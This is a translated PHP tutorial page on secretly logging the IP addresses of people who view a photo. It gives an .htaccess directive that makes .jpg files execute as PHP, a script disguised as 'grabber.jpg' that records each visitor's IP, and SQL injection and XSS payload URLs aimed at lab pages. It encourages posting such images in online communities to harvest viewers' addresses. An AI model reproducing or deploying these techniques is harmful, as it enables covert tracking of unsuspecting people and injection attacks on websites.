Home > Article > Backend Development > Obtaining IP address through photos based on PHP, _PHP tutorial
In this tutorial, we will learn how to steal IP address with a photo. My idea is to parse the jpg file as a php file by modifying the .htaccess file.
Here is the code we need to add to .htaccess:
AddHandler application/x-httpd-php5 .jpg
Then copy the following code into Notepad and name it grabber.jpg
<?php $fh = fopen(‘ip_list.txt', ‘a'); fwrite($fh, $_SERVER[‘REMOTE_ADDR'].” “); fclose($fh); $im = imagecreatefromjpeg(“n00b.png”); header(‘Content-Type: image/jpeg'); imagejpeg($im); imagedestroy($im); ?>
Set the permissions of grabber.jpg to 755, then find another photo, name it n00b.png, and put it in the same directory as grabber.jpg.
That’s it, everything is ready. When someone browses the photo grabber.jpg, their IP address will be recorded.
(Translator’s Note: These things need to be uploaded to our personal website space)
POC:
(Translator’s Note: The author has posted a demonstration photo of how to obtain an IP here. For everyone’s privacy, I have not posted it. Readers can check it out on the author’s blog by themselves)
At this point, our photo is ready to work.
Then I would also like to explain how to use SQLi to obtain the ip address. In fact, it is very fast to use photos to steal IP addresses. We have no reason to use SQLi, but in order to let readers gain more knowledge, I will explain it:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746 573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#
Now, let’s talk about how to use xss to get the ip address:
http://leettime.net/xsslab1/chalg1.php?name=9e2e411a72979baaf5b40aa527eacce4&submit=Search
Okay, that’s it.
We can do many interesting things with this technique. In fact, most communities allow us to publish some photos, so we can use this method to get the IP addresses of all people who access our photos.
The above is the relevant content that the editor introduces to you about obtaining IP addresses through photos based on PHP. I hope it will be helpful to everyone!
by modifying the .htaccess file